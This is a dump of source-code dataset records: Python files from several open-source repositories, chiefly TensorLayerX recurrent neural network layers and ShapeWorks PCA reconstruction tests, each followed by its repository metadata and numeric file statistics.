#!/bin/python from . import functions from . import supplement, validation, utils from . import evaluation, evolutionHooks from . import world, locale from . import evaluationPool

20.222222

43

0.78022

21

182

6.761905

0.619048

0.352113

0

0.148352

182

8

44

22.75

0.916129

0.065934

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

ee50c016f793a7cbf0fe6be12a34d44efcb136c7

329

py

Python

src/wai/annotations/core/help/__init__.py

waikato-ufdl/wai-annotations-core

bac3429e9488efb456972c74f9d462f951c4af3d

[ "Apache-2.0" ]

null

src/wai/annotations/core/help/__init__.py

waikato-ufdl/wai-annotations-core

bac3429e9488efb456972c74f9d462f951c4af3d

[ "Apache-2.0" ]

3

2021-06-30T23:42:47.000Z

2022-03-01T03:45:07.000Z

src/wai/annotations/core/help/__init__.py

waikato-ufdl/wai-annotations-core

bac3429e9488efb456972c74f9d462f951c4af3d

[ "Apache-2.0" ]

null

""" Utilities for providing generated help messages. """ from ._format_stage_usage import format_stage_usage from ._MainUsageFormatter import MainUsageFormatter from ._plugin_usage_formatter_with_default_start_indent import plugin_usage_formatter_with_default_start_indent from ._PluginUsageFormatter import PluginUsageFormatter

41.125

111

0.893617

38

329

7.210526

0.5

0.080292

0.116788

0.175182

0.306569

0

0.072948

329

7

112

47

0.898361

0.145897

0

1

0

1

0

true

0

1

0

1

0

null

0

1

0

1

0

1

0

null

0

1

0

1

0

1

0

6

ee5d0f93ea85884d0121d19cfd60fc03dec59bd6

501

py

Python

sdk/lusid_notifications/api/__init__.py

finbourne/notifications-sdk-python-preview

2368e05445c74dc248afc1c98efa9f2ca895de3b

[ "MIT" ]

null

sdk/lusid_notifications/api/__init__.py

finbourne/notifications-sdk-python-preview

2368e05445c74dc248afc1c98efa9f2ca895de3b

[ "MIT" ]

null

sdk/lusid_notifications/api/__init__.py

finbourne/notifications-sdk-python-preview

2368e05445c74dc248afc1c98efa9f2ca895de3b

[ "MIT" ]

null

from __future__ import absolute_import # flake8: noqa # import apis into api package from lusid_notifications.api.application_metadata_api import ApplicationMetadataApi from lusid_notifications.api.deliveries_api import DeliveriesApi from lusid_notifications.api.event_types_api import EventTypesApi from lusid_notifications.api.events_api import EventsApi from lusid_notifications.api.notifications_api import NotificationsApi from lusid_notifications.api.subscriptions_api import SubscriptionsApi

41.75

83

0.892216

62

501

6.903226

0.403226

0.261682

0.308411

0.350467

0

0.002165

0.077844

501

11

84

45.545455

0.924242

0.081836

0

1

0

true

0

1

0

1

0

null

1

0

null

0

1

0

1

0

1

0

6

c9b1037f289904178f7fcc02d4d811923dd564c1

213

py

Python

test/solution_tests/HLO/test_hlo.py

DPNT-Sourcecode/CHK-itim01

4627f0a8c79da662fe1bfb5387622558e5d0d6ef

[ "Apache-2.0" ]

null

test/solution_tests/HLO/test_hlo.py

DPNT-Sourcecode/CHK-itim01

4627f0a8c79da662fe1bfb5387622558e5d0d6ef

[ "Apache-2.0" ]

null

test/solution_tests/HLO/test_hlo.py

DPNT-Sourcecode/CHK-itim01

4627f0a8c79da662fe1bfb5387622558e5d0d6ef

[ "Apache-2.0" ]

null

from solutions.HLO import hello_solution class TestHlo(): def test_hlo(self): assert hello_solution.hello("World") == "Hello, World!" assert hello_solution.hello("Friend") == "Hello, Friend!"

30.428571

65

0.680751

26

213

5.423077

0.538462

0.276596

0.269504

0.340426

0

0.183099

213

6

66

35.5

0.810345

0

0.178404

0

0.4

1

0.2

false

0

0.2

0

0.6

0

1

0

null

1

0

1

0

null

0

1

0

6

4ea8424255ff4a6c7ebde4ea36ecea646cbf8592

3,511

py

Python

Testing/PythonTests/reconstructpca.py

SCIInstitute/shapeworks

cbd44fdeb83270179c2331f2ba8431cf7330a4ff

[ "MIT" ]

3

2016-04-26T15:29:58.000Z

2018-10-05T18:39:12.000Z

Testing/PythonTests/reconstructpca.py

SCIInstitute/shapeworks

cbd44fdeb83270179c2331f2ba8431cf7330a4ff

[ "MIT" ]

35

2015-05-22T18:26:16.000Z

2019-06-03T18:09:40.000Z

Testing/PythonTests/reconstructpca.py

SCIInstitute/shapeworks

cbd44fdeb83270179c2331f2ba8431cf7330a4ff

[ "MIT" ]

7

2015-06-18T18:56:12.000Z

2019-06-17T19:15:06.000Z

import os import sys from shapeworks import * success = True def pcamodesTestRBFS(): print("\npython pcamodesTestRBFS") denseFile = os.environ["DATA"] + "/_dense.vtk" sparseFile = os.environ["DATA"] + "/_sparse.particles" goodPointsFile = os.environ["DATA"] + "/_goodPoints.txt" worldParticles = [] worldParticles.append(os.environ["DATA"] + "/ellipsoid_00.world.particles") worldParticles.append(os.environ["DATA"] + "/ellipsoid_01.world.particles") worldParticles.append(os.environ["DATA"] + "/ellipsoid_02.world.particles") reconstructor = ReconstructSurface_RBFSSparseTransform(denseFile, sparseFile, goodPointsFile) reconstructor.setOutPrefix("rbfs") reconstructor.setOutPath(".") reconstructor.setNumOfParticles(128) reconstructor.setNumOfModes(1) reconstructor.setNumOfSamplesPerMode(3) reconstructor.samplesAlongPCAModes(worldParticles) baselineDenseMesh1 = Mesh(os.environ["DATA"] + "/reconstruct_pca_python/rbfs_mode-00_sample-000_dense.vtk") baselineDenseMesh2 = Mesh(os.environ["DATA"] + "/reconstruct_pca_python/rbfs_mode-00_sample-001_dense.vtk") baselineDenseMesh3 = Mesh(os.environ["DATA"] + "/reconstruct_pca_python/rbfs_mode-00_sample-002_dense.vtk") denseMesh1 = Mesh("mode-00/rbfs_mode-00_sample-000_dense.vtk") denseMesh2 = Mesh("mode-00/rbfs_mode-00_sample-001_dense.vtk") denseMesh3 = Mesh("mode-00/rbfs_mode-00_sample-002_dense.vtk") print("comparing dense mesh 1...") success = baselineDenseMesh1 == denseMesh1 print("comparing dense mesh 2...") success = success and baselineDenseMesh2 == denseMesh2 print("comparing dense mesh 3...") success = success and baselineDenseMesh3 == denseMesh3 return success success &= utils.test(pcamodesTestRBFS) def pcamodesTestThinPlateSpline(): print("\npython pcamodesTestThinPlateSpline") denseFile = os.environ["DATA"] + "/_dense.vtk" sparseFile = os.environ["DATA"] + "/_sparse.particles" goodPointsFile = os.environ["DATA"] + "/_goodPoints.txt" worldParticles = [] worldParticles.append(os.environ["DATA"] + "/ellipsoid_00.world.particles") worldParticles.append(os.environ["DATA"] + "/ellipsoid_01.world.particles") worldParticles.append(os.environ["DATA"] + "/ellipsoid_02.world.particles") reconstructor = ReconstructSurface_ThinPlateSplineTransform(denseFile, sparseFile, goodPointsFile) reconstructor.setOutPrefix("tps") reconstructor.setOutPath(".") reconstructor.setNumOfParticles(128) reconstructor.setNumOfModes(1) reconstructor.setNumOfSamplesPerMode(3) reconstructor.setMaxStdDev(5) reconstructor.samplesAlongPCAModes(worldParticles) baselineDenseMesh1 = Mesh(os.environ["DATA"] + "/reconstruct_pca_python/tps_mode-00_sample-000_dense.vtk") baselineDenseMesh2 = Mesh(os.environ["DATA"] + "/reconstruct_pca_python/tps_mode-00_sample-001_dense.vtk") baselineDenseMesh3 = Mesh(os.environ["DATA"] + "/reconstruct_pca_python/tps_mode-00_sample-002_dense.vtk") denseMesh1 = Mesh("mode-00/tps_mode-00_sample-000_dense.vtk") denseMesh2 = Mesh("mode-00/tps_mode-00_sample-001_dense.vtk") denseMesh3 = Mesh("mode-00/tps_mode-00_sample-002_dense.vtk") success = True print("comparing dense mesh 1...") success = baselineDenseMesh1 == denseMesh1 print("comparing dense mesh 2...") success = success and baselineDenseMesh2 == denseMesh2 print("comparing dense mesh 3...") success = success and baselineDenseMesh3 == denseMesh3 return success success &= utils.test(pcamodesTestThinPlateSpline) sys.exit(not success)

41.797619

109

0.767588

390

3,511

6.751282

0.179487

0.061527

0.088872

0.066084

0.886821

0.842765

0.817319

0

0.039582

0.100541

3,511

83

110

42.301205

0.794174

0

0.597015

0

0.324124

0.223013

0

1

0.029851

false

0

0.044776

0

0.104478

0.119403

0

null

0

1

0

null

0

6

14fe617ac4b729b9aa7373e147ec9db32786a586

167

py

Python

kwat/matrix_factorization/__init__.py

KwatME/ccal

d96dfa811482eee067f346386a2181ec514625f4

[ "MIT" ]

5

2017-05-05T17:50:28.000Z

2019-01-30T19:23:02.000Z

kwat/matrix_factorization/__init__.py

KwatME/ccal

d96dfa811482eee067f346386a2181ec514625f4

[ "MIT" ]

5

2017-05-05T01:52:31.000Z

2019-04-20T21:06:05.000Z

kwat/matrix_factorization/__init__.py

KwatME/ccal

d96dfa811482eee067f346386a2181ec514625f4

[ "MIT" ]

5

2017-07-17T18:55:54.000Z

2019-02-02T04:46:19.000Z

from .factorize import factorize from .factorize_with_nmf import factorize_with_nmf from .make_label import make_label from .plot import plot from .solve import solve

27.833333

50

0.850299

26

167

5.230769

0.346154

0.191176

0.235294

0

0.11976

167

5

51

33.4

0.92517

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

6

0921b8ddc77f0aed620a294e7b6682b1504d628c

28,281

py

Python

tensorlayerx/nn/layers/recurrent.py

tensorlayer/TensorLayerX

4e3e6f13687309dda7787f0b86e35a62bb3adbad

[ "Apache-2.0" ]

34

2021-12-03T08:19:23.000Z

2022-03-13T08:34:34.000Z

tensorlayerx/nn/layers/recurrent.py

tensorlayer/TensorLayerX

4e3e6f13687309dda7787f0b86e35a62bb3adbad

[ "Apache-2.0" ]

null

tensorlayerx/nn/layers/recurrent.py

tensorlayer/TensorLayerX

4e3e6f13687309dda7787f0b86e35a62bb3adbad

[ "Apache-2.0" ]

3

2021-12-28T16:57:20.000Z

2022-03-18T02:23:14.000Z

#! /usr/bin/python # -*- coding: utf-8 -*- import numpy as np import tensorlayerx as tlx from tensorlayerx import logging from tensorlayerx.nn.core import Module __all__ = [ 'RNN', 'RNNCell', 'GRU', 'LSTM', 'GRUCell', 'LSTMCell', ] class RNNCell(Module): """An Elman RNN cell with tanh or ReLU non-linearity. Parameters ---------- input_size : int The number of expected features in the input `x` hidden_size : int The number of features in the hidden state `h` bias : bool If ``False``, then the layer does not use bias weights `b_ih` and `b_hh`. Default: ``True`` act : activation function The non-linearity to use. Can be either 'tanh' or 'relu'. Default: 'tanh' name : None or str A unique layer name Returns ---------- outputs : tensor A tensor with shape `[batch_size, hidden_size]`. states : tensor A tensor with shape `[batch_size, hidden_size]`. Tensor containing the next hidden state for each element in the batch """ def __init__( self, input_size, hidden_size, bias=True, act='tanh', name=None, ): super(RNNCell, self).__init__(name) self.input_size = input_size self.hidden_size = hidden_size self.bias = bias if act not in ('relu', 'tanh'): raise ValueError("Activation should be 'tanh' or 'relu'.") self.act = act self.build(None) logging.info("RNNCell %s: input_size: %d hidden_size: %d act: %s" % (self.name, input_size, hidden_size, act)) def __repr__(self): actstr = self.act s = ('{classname}(input_size={input_size}, hidden_size={hidden_size}') s += ', bias=True' if self.bias else ', bias=False' s += (',' + actstr) if self.name is not None: s += ', name=\'{name}\'' s += ')' return s.format(classname=self.__class__.__name__, **self.__dict__) def check_input(self, input_shape): if input_shape[1] != self.input_size: raise ValueError( 'input should have consistent input_size. But got {}, expected {}'.format( input_shape[1], self.input_size ) ) def check_hidden(self, input_shape, h_shape, hidden_label): if input_shape[0] != h_shape[0]: raise ValueError( 'input batch size{} should match hidden{} batch size{}.'.format( input_shape[0], hidden_label, h_shape[0] ) ) if h_shape[1] != self.hidden_size: raise ValueError( 'hidden{} should have consistent hidden_size. But got {}, expected {}.'.format( hidden_label, h_shape[1], self.hidden_size ) ) def build(self, inputs_shape): stdv = 1.0 / np.sqrt(self.hidden_size) _init = tlx.nn.initializers.RandomUniform(minval=-stdv, maxval=stdv) self.weight_ih_shape = (self.hidden_size, self.input_size) self.weight_hh_shape = (self.hidden_size, self.hidden_size) self.weight_ih = self._get_weights("weight_ih", shape=self.weight_ih_shape, init=_init) self.weight_hh = self._get_weights("weight_hh", shape=self.weight_hh_shape, init=_init) if self.bias: self.bias_ih_shape = (self.hidden_size, ) self.bias_hh_shape = (self.hidden_size, ) self.bias_ih = self._get_weights('bias_ih', shape=self.bias_ih_shape, init=_init) self.bias_hh = self._get_weights('bias_hh', shape=self.bias_hh_shape, init=_init) else: self.bias_ih = None self.bias_hh = None self.rnncell = tlx.ops.rnncell( weight_ih=self.weight_ih, weight_hh=self.weight_hh, bias_ih=self.bias_ih, bias_hh=self.bias_hh, act=self.act ) def forward(self, inputs, states=None): """ Parameters ---------- inputs : tensor A tensor with shape `[batch_size, input_size]`. states : tensor or None A tensor with shape `[batch_size, hidden_size]`. When states is None, zero state is used. Defaults to None. Examples -------- With TensorLayerx >>> input = tlx.nn.Input([4, 16], name='input') >>> prev_h = tlx.nn.Input([4,32]) >>> cell = tlx.nn.RNNCell(input_size=16, hidden_size=32, bias=True, act='tanh', name='rnncell_1') >>> y, h = cell(input, prev_h) >>> print(y.shape) """ input_shape = tlx.get_tensor_shape(inputs) self.check_input(input_shape) if states is None: states = tlx.zeros(shape=(input_shape[0], self.hidden_size), dtype=inputs.dtype) states_shape = tlx.get_tensor_shape(states) self.check_hidden(input_shape, states_shape, hidden_label='h') output, states = self.rnncell(inputs, states) if not self._nodes_fixed and self._build_graph: self._add_node(inputs, [output, states]) self._nodes_fixed = True return output, states class LSTMCell(Module): """A long short-term memory (LSTM) cell. Parameters ---------- input_size : int The number of expected features in the input `x` hidden_size : int The number of features in the hidden state `h` bias : bool If ``False``, then the layer does not use bias weights `b_ih` and `b_hh`. Default: ``True`` name : None or str A unique layer name Returns ---------- outputs : tensor A tensor with shape `[batch_size, hidden_size]`. states : tensor A tuple of two tensor `(h, c)`, each of shape `[batch_size, hidden_size]`. Tensors containing the next hidden state and next cell state for each element in the batch. """ def __init__( self, input_size, hidden_size, bias=True, name=None, ): super(LSTMCell, self).__init__(name) self.input_size = input_size self.hidden_size = hidden_size self.bias = bias self.build(None) logging.info("LSTMCell %s: input_size: %d hidden_size: %d " % (self.name, input_size, hidden_size)) def __repr__(self): s = ('{classname}(input_size={input_size}, hidden_size={hidden_size}') s += ', bias=True' if self.bias else ', bias=False' if self.name is not None: s += ', name=\'{name}\'' s += ')' return s.format(classname=self.__class__.__name__, **self.__dict__) def check_input(self, input_shape): if input_shape[1] != self.input_size: raise ValueError( 'input should have consistent input_size. But got {}, expected {}'.format( input_shape[1], self.input_size ) ) def check_hidden(self, input_shape, h_shape, hidden_label): if input_shape[0] != h_shape[0]: raise ValueError( 'input batch size{} should match hidden{} batch size{}.'.format( input_shape[0], hidden_label, h_shape[0] ) ) if h_shape[1] != self.hidden_size: raise ValueError( 'hidden{} should have consistent hidden_size. But got {}, expected {}.'.format( hidden_label, h_shape[1], self.hidden_size ) ) def build(self, inputs_shape): stdv = 1.0 / np.sqrt(self.hidden_size) _init = tlx.nn.initializers.RandomUniform(minval=-stdv, maxval=stdv) self.weight_ih_shape = (4 * self.hidden_size, self.input_size) self.weight_hh_shape = (4 * self.hidden_size, self.hidden_size) self.weight_ih = self._get_weights("weight_ih", shape=self.weight_ih_shape, init=_init) self.weight_hh = self._get_weights("weight_hh", shape=self.weight_hh_shape, init=_init) if self.bias: self.bias_ih_shape = (4 * self.hidden_size, ) self.bias_hh_shape = (4 * self.hidden_size, ) self.bias_ih = self._get_weights('bias_ih', shape=self.bias_ih_shape, init=_init) self.bias_hh = self._get_weights('bias_hh', shape=self.bias_hh_shape, init=_init) else: self.bias_ih = None self.bias_hh = None self.lstmcell = tlx.ops.lstmcell( weight_ih=self.weight_ih, weight_hh=self.weight_hh, bias_ih=self.bias_ih, bias_hh=self.bias_hh ) def forward(self, inputs, states=None): """ Parameters ---------- inputs : tensor A tensor with shape `[batch_size, input_size]`. states : tuple or None A tuple of two tensor `(h, c)`, each of shape `[batch_size, hidden_size]`. When states is None, zero state is used. Defaults: None. Examples -------- With TensorLayerx >>> input = tlx.nn.Input([4, 16], name='input') >>> prev_h = tlx.nn.Input([4,32]) >>> prev_c = tlx.nn.Input([4,32]) >>> cell = tlx.nn.LSTMCell(input_size=16, hidden_size=32, bias=True, name='lstmcell_1') >>> y, (h, c)= cell(input, (prev_h, prev_c)) >>> print(y.shape) """ input_shape = tlx.get_tensor_shape(inputs) self.check_input(input_shape) if states is not None: h, c = states else: h = tlx.zeros(shape=(input_shape[0], self.hidden_size), dtype=inputs.dtype) c = tlx.zeros(shape=(input_shape[0], self.hidden_size), dtype=inputs.dtype) h_shape = tlx.get_tensor_shape(h) c_shape = tlx.get_tensor_shape(c) self.check_hidden(input_shape, h_shape, hidden_label='h') self.check_hidden(input_shape, c_shape, hidden_label='c') output, new_h, new_c = self.lstmcell(inputs, h, c) if not self._nodes_fixed and self._build_graph: self._add_node(inputs, [output, new_h, new_c]) self._nodes_fixed = True return output, (new_h, new_c) class GRUCell(Module): """A gated recurrent unit (GRU) cell. Parameters ---------- input_size : int The number of expected features in the input `x` hidden_size : int The number of features in the hidden state `h` bias : bool If ``False``, then the layer does not use bias weights `b_ih` and `b_hh`. Default: ``True`` name : None or str A unique layer name Returns ---------- outputs : tensor A tensor with shape `[batch_size, hidden_size]`. states : tensor A tensor with shape `[batch_size, hidden_size]`. Tensor containing the next hidden state for each element in the batch """ def __init__( self, input_size, hidden_size, bias=True, name=None, ): super(GRUCell, self).__init__(name) self.input_size = input_size self.hidden_size = hidden_size self.bias = bias self.build(None) logging.info("GRUCell %s: input_size: %d hidden_size: %d " % (self.name, input_size, hidden_size)) def __repr__(self): s = ('{classname}(input_size={input_size}, hidden_size={hidden_size}') s += ', bias=True' if self.bias else ', bias=False' if self.name is not None: s += ', name=\'{name}\'' s += ')' return s.format(classname=self.__class__.__name__, **self.__dict__) def check_input(self, input_shape): if input_shape[1] != self.input_size: raise ValueError( 'input should have consistent input_size. But got {}, expected {}'.format( input_shape[1], self.input_size ) ) def check_hidden(self, input_shape, h_shape, hidden_label): if input_shape[0] != h_shape[0]: raise ValueError( 'input batch size{} should match hidden{} batch size{}.'.format( input_shape[0], hidden_label, h_shape[0] ) ) if h_shape[1] != self.hidden_size: raise ValueError( 'hidden{} should have consistent hidden_size. But got {}, expected {}.'.format( hidden_label, h_shape[1], self.hidden_size ) ) def build(self, inputs_shape): stdv = 1.0 / np.sqrt(self.hidden_size) _init = tlx.nn.initializers.RandomUniform(minval=-stdv, maxval=stdv) self.weight_ih_shape = (3 * self.hidden_size, self.input_size) self.weight_hh_shape = (3 * self.hidden_size, self.hidden_size) self.weight_ih = self._get_weights("weight_ih", shape=self.weight_ih_shape, init=_init) self.weight_hh = self._get_weights("weight_hh", shape=self.weight_hh_shape, init=_init) if self.bias: self.bias_ih_shape = (3 * self.hidden_size, ) self.bias_hh_shape = (3 * self.hidden_size, ) self.bias_ih = self._get_weights('bias_ih', shape=self.bias_ih_shape, init=_init) self.bias_hh = self._get_weights('bias_hh', shape=self.bias_hh_shape, init=_init) else: self.bias_ih = None self.bias_hh = None self.grucell = tlx.ops.grucell( weight_ih=self.weight_ih, weight_hh=self.weight_hh, bias_ih=self.bias_ih, bias_hh=self.bias_hh ) def forward(self, inputs, states=None): """ Parameters ---------- inputs : tensor A tensor with shape `[batch_size, input_size]`. states : tensor or None A tensor with shape `[batch_size, hidden_size]`. When states is None, zero state is used. Defaults: `None`. Examples -------- With TensorLayerx >>> input = tlx.nn.Input([4, 16], name='input') >>> prev_h = tlx.nn.Input([4,32]) >>> cell = tlx.nn.GRUCell(input_size=16, hidden_size=32, bias=True, name='grucell_1') >>> y, h= cell(input, prev_h) >>> print(y.shape) """ input_shape = tlx.get_tensor_shape(inputs) self.check_input(input_shape) if states is None: states = tlx.zeros(shape=(input_shape[0], self.hidden_size), dtype=inputs.dtype) states_shape = tlx.get_tensor_shape(states) self.check_hidden(input_shape, states_shape, hidden_label='h') output, states = self.grucell(inputs, states) if not self._nodes_fixed and self._build_graph: self._add_node(inputs, [output, states]) self._nodes_fixed = True return output, states class RNNBase(Module): """ RNNBase class for RNN networks. It provides `forward` and other common methods for RNN, LSTM and GRU. """ def __init__( self, mode, input_size, hidden_size, num_layers=1, bias=True, batch_first=False, dropout=0.0, bidirectional=False, name=None, ): super(RNNBase, self).__init__(name) self.mode = mode self.input_size = input_size self.hidden_size = hidden_size self.num_layers = num_layers self.bias = bias self.batch_first = batch_first self.dropout = dropout self.bidirectional = bidirectional self.build(None) logging.info( "%s: %s: input_size: %d hidden_size: %d num_layers: %d " % (self.mode, self.name, input_size, hidden_size, num_layers) ) def __repr__(self): s = ( '{classname}(input_size={input_size}, hidden_size={hidden_size}, num_layers={num_layers}' ', dropout={dropout}' ) s += ', bias=True' if self.bias else ', bias=False' s += ', bidirectional=True' if self.bidirectional else ', bidirectional=False' if self.name is not None: s += ', name=\'{name}\'' s += ')' return s.format(classname=self.__class__.__name__, **self.__dict__) def build(self, inputs_shape): bidirect = 2 if self.bidirectional else 1 self.w_ih = [] self.w_hh = [] self.b_ih = [] self.b_hh = [] stdv = 1.0 / np.sqrt(self.hidden_size) _init = tlx.nn.initializers.RandomUniform(minval=-stdv, maxval=stdv) if self.mode == 'LSTM': gate_size = 4 * self.hidden_size elif self.mode == 'GRU': gate_size = 3 * self.hidden_size else: gate_size = self.hidden_size for layer in range(self.num_layers): for direction in range(bidirect): layer_input_size = self.input_size if layer == 0 else self.hidden_size * bidirect suffix = '_reverse' if direction == 1 else '' self.w_ih.append( self._get_weights( var_name='weight_ih_l{}{}'.format(layer, suffix), shape=(gate_size, layer_input_size), init=_init ) ) self.w_hh.append( self._get_weights( var_name='weight_hh_l{}{}'.format(layer, suffix), shape=(gate_size, self.hidden_size), init=_init ) ) if self.bias: self.b_ih.append( self._get_weights( var_name='bias_ih_l{}{}'.format(layer, suffix), shape=(gate_size, ), init=_init ) ) self.b_hh.append( self._get_weights( var_name='bias_hh_l{}{}'.format(layer, suffix), shape=(gate_size, ), init=_init ) ) self.rnn = tlx.ops.rnnbase( mode=self.mode, input_size=self.input_size, hidden_size=self.hidden_size, num_layers=self.num_layers, bias=self.bias, batch_first=self.batch_first, dropout=self.dropout, bidirectional=self.bidirectional, is_train=self.is_train, w_ih=self.w_ih, w_hh=self.w_hh, b_ih=self.b_ih, b_hh=self.b_hh ) def forward(self, input, states=None): output, new_states = self.rnn(input, states) if not self._nodes_fixed and self._build_graph: self._add_node(input, [output, new_states]) self._nodes_fixed = True return output, new_states class RNN(RNNBase): """Multilayer Elman network(RNN). It takes input sequences and initial states as inputs, and returns the output sequences and the final states. Parameters ---------- input_size : int The number of expected features in the input `x` hidden_size : int The number of features in the hidden state `h` num_layers : int Number of recurrent layers. Default: 1 bias : bool If ``False``, then the layer does not use bias weights `b_ih` and `b_hh`. Default: ``True`` batch_first : bool If ``True``, then the input and output tensors are provided as `[batch_size, seq, input_size]`, Default: ``False`` dropout : float If non-zero, introduces a `Dropout` layer on the outputs of each RNN layer except the last layer, with dropout probability equal to `dropout`. Default: 0 bidirectional : bool If ``True``, becomes a bidirectional RNN. Default: ``False`` act : activation function The non-linearity to use. Can be either 'tanh' or 'relu'. Default: 'tanh' name : None or str A unique layer name Returns ---------- outputs : tensor the output sequence. if `batch_first` is True, the shape is `[batch_size, seq, num_directions * hidden_size]`, else, the shape is `[seq, batch_size, num_directions * hidden_size]`. final_states : tensor final states. The shape is `[num_layers * num_directions, batch_size, hidden_size]`. Note that if the RNN is Bidirectional, the forward states are (0,2,4,6,...) and the backward states are (1,3,5,7,....). """ def __init__( self, input_size, hidden_size, num_layers=1, bias=True, batch_first=False, dropout=0.0, bidirectional=False, act='tanh', name=None, ): if act == 'tanh': mode = 'RNN_TANH' elif act == 'relu': mode = 'RNN_RELU' else: raise ValueError("act should be in ['tanh', 'relu'], but got {}.".format(act)) super(RNN, self ).__init__(mode, input_size, hidden_size, num_layers, bias, batch_first, dropout, bidirectional, name) def forward(self, input, states=None): """ Parameters ---------- inputs : tensor the input sequence. if `batch_first` is True, the shape is `[batch_size, seq, input_size]`, else, the shape is `[seq, batch_size, input_size]`. initial_states : tensor or None the initial states. The shape is `[num_layers * num_directions, batch_size, hidden_size]`.If initial_state is not given, zero initial states are used. If the RNN is Bidirectional, num_directions should be 2, else it should be 1. Default: None. Examples -------- With TensorLayer >>> input = tlx.nn.Input([23, 32, 16], name='input') >>> prev_h = tlx.nn.Input([4, 32, 32]) >>> cell = tlx.nn.RNN(input_size=16, hidden_size=32, bias=True, num_layers=2, bidirectional = True, act='tanh', batch_first=False, dropout=0, name='rnn_1') >>> y, h= cell(input, prev_h) >>> print(y.shape) """ output, new_states = self.rnn(input, states) if not self._nodes_fixed and self._build_graph: self._add_node(input, [output, new_states]) self._nodes_fixed = True return output, new_states class LSTM(RNNBase): """Applies a multi-layer long short-term memory (LSTM) RNN to an input sequence. Parameters ---------- input_size : int The number of expected features in the input `x` hidden_size : int The number of features in the hidden state `h` num_layers : int Number of recurrent layers. Default: 1 bias : bool If ``False``, then the layer does not use bias weights `b_ih` and `b_hh`. Default: ``True`` batch_first : bool If ``True``, then the input and output tensors are provided as `[batch_size, seq, input_size]`, Default: ``False`` dropout : float If non-zero, introduces a `Dropout` layer on the outputs of each LSTM layer except the last layer, with dropout probability equal to `dropout`. Default: 0 bidirectional : bool If ``True``, becomes a bidirectional LSTM. Default: ``False`` name : None or str A unique layer name Returns ---------- outputs : tensor the output sequence. if `batch_first` is True, the shape is `[batch_size, seq, num_directions * hidden_size]`, else, the shape is `[seq, batch_size, num_directions * hidden_size]`. final_states : tensor final states. A tuple of two tensor. The shape of each is `[num_layers * num_directions, batch_size, hidden_size]`. Note that if the LSTM is Bidirectional, the forward states are (0,2,4,6,...) and the backward states are (1,3,5,7,....). """ def __init__( self, input_size, hidden_size, num_layers=1, bias=True, batch_first=False, dropout=0.0, bidirectional=False, name=None, ): super(LSTM, self ).__init__('LSTM', input_size, hidden_size, num_layers, bias, batch_first, dropout, bidirectional, name) def forward(self, input, states=None): """ Parameters ---------- inputs : tensor the input sequence. if `batch_first` is True, the shape is `[batch_size, seq, input_size]`, else, the shape is `[seq, batch_size, input_size]`. initial_states : tensor or None the initial states. A tuple of tensor (h, c), the shape of each is `[num_layers * num_directions, batch_size, hidden_size]`.If initial_state is not given, zero initial states are used. If the LSTM is Bidirectional, num_directions should be 2, else it should be 1. Default: None. Examples -------- With TensorLayerx >>> input = tlx.nn.Input([23, 32, 16], name='input') >>> prev_h = tlx.nn.Input([4, 32, 32]) >>> prev_c = tlx.nn.Input([4, 32, 32]) >>> cell = tlx.nn.LSTM(input_size=16, hidden_size=32, bias=True, num_layers=2, bidirectional = True, batch_first=False, dropout=0, name='lstm_1') >>> y, (h, c)= cell(input, (prev_h, prev_c)) >>> print(y.shape) """ output, new_states = self.rnn(input, states) if not self._nodes_fixed and self._build_graph: self._add_node(input, [output, new_states]) self._nodes_fixed = True return output, new_states class GRU(RNNBase): """Applies a multi-layer gated recurrent unit (GRU) RNN to an input sequence. Parameters ---------- input_size : int The number of expected features in the input `x` hidden_size : int The number of features in the hidden state `h` num_layers : int Number of recurrent layers. Default: 1 bias : bool If ``False``, then the layer does not use bias weights `b_ih` and `b_hh`. Default: ``True`` batch_first : bool If ``True``, then the input and output tensors are provided as `[batch_size, seq, input_size]`, Default: ``False`` dropout : float If non-zero, introduces a `Dropout` layer on the outputs of each GRU layer except the last layer, with dropout probability equal to `dropout`. Default: 0 bidirectional : bool If ``True``, becomes a bidirectional LSTM. Default: ``False`` name : None or str A unique layer name Returns ---------- outputs : tensor the output sequence. if `batch_first` is True, the shape is `[batch_size, seq, num_directions * hidden_size]`, else, the shape is `[seq, batch_size, num_directions * hidden_size]`. final_states : tensor final states. A tuple of two tensor. The shape of each is `[num_layers * num_directions, batch_size, hidden_size]`. Note that if the GRU is Bidirectional, the forward states are (0,2,4,6,...) and the backward states are (1,3,5,7,....). """ def __init__( self, input_size, hidden_size, num_layers=1, bias=True, batch_first=False, dropout=0.0, bidirectional=False, name=None, ): super(GRU, self ).__init__('GRU', input_size, hidden_size, num_layers, bias, batch_first, dropout, bidirectional, name) def forward(self, input, states=None): """ Parameters ---------- inputs : tensor the input sequence. if `batch_first` is True, the shape is `[batch_size, seq, input_size]`, else, the shape is `[seq, batch_size, input_size]`. initial_states : tensor or None the initial states. A tuple of tensor (h, c), the shape of each is `[num_layers * num_directions, batch_size, hidden_size]`.If initial_state is not given, zero initial states are used. If the GRU is Bidirectional, num_directions should be 2, else it should be 1. Default: None. Examples -------- With TensorLayerx >>> input = tlx.nn.Input([23, 32, 16], name='input') >>> prev_h = tlx.nn.Input([4, 32, 32]) >>> cell = tlx.nn.GRU(input_size=16, hidden_size=32, bias=True, num_layers=2, bidirectional = True, batch_first=False, dropout=0, name='GRU_1') >>> y, h= cell(input, prev_h) >>> print(y.shape) """ output, new_states = self.rnn(input, states) if not self._nodes_fixed and self._build_graph: self._add_node(input, [output, new_states]) self._nodes_fixed = True return output, new_states

37.557769

204

0.5893

3,703

28,281

4.280313

0.057791

0.066877

0.037098

0.022776

0.883407

0.855899

0.843659

0.823722

0.815331

0.809401

0

0.009726

0.294721

28,281

752

205

37.607713

0.784919

0.363353

0

0.638677

0

0.09378

0.016184

0

1

0.071247

false

0

0.010178

0

0.127226

0

null

0

1

0

null

0

6

0939ebe10a7ad532814cbbe942d4b021515f7d93

25

py

Python

regme/models.py

lig/regme

5fd9616c67761b4f78cf90fa3355c12643b74b28

[ "Apache-2.0" ]

7

2015-02-13T19:10:59.000Z

2021-07-17T01:37:52.000Z

regme/models.py

lig/regme

5fd9616c67761b4f78cf90fa3355c12643b74b28

[ "Apache-2.0" ]

null

regme/models.py

lig/regme

5fd9616c67761b4f78cf90fa3355c12643b74b28

[ "Apache-2.0" ]

3

2015-01-27T06:29:35.000Z

2017-02-11T17:35:23.000Z

from .documents import *

12.5

24

0.76

3

25

6.333333

1

0

0.16

25

1

25

0.904762

0

1

0

true

0

1

0

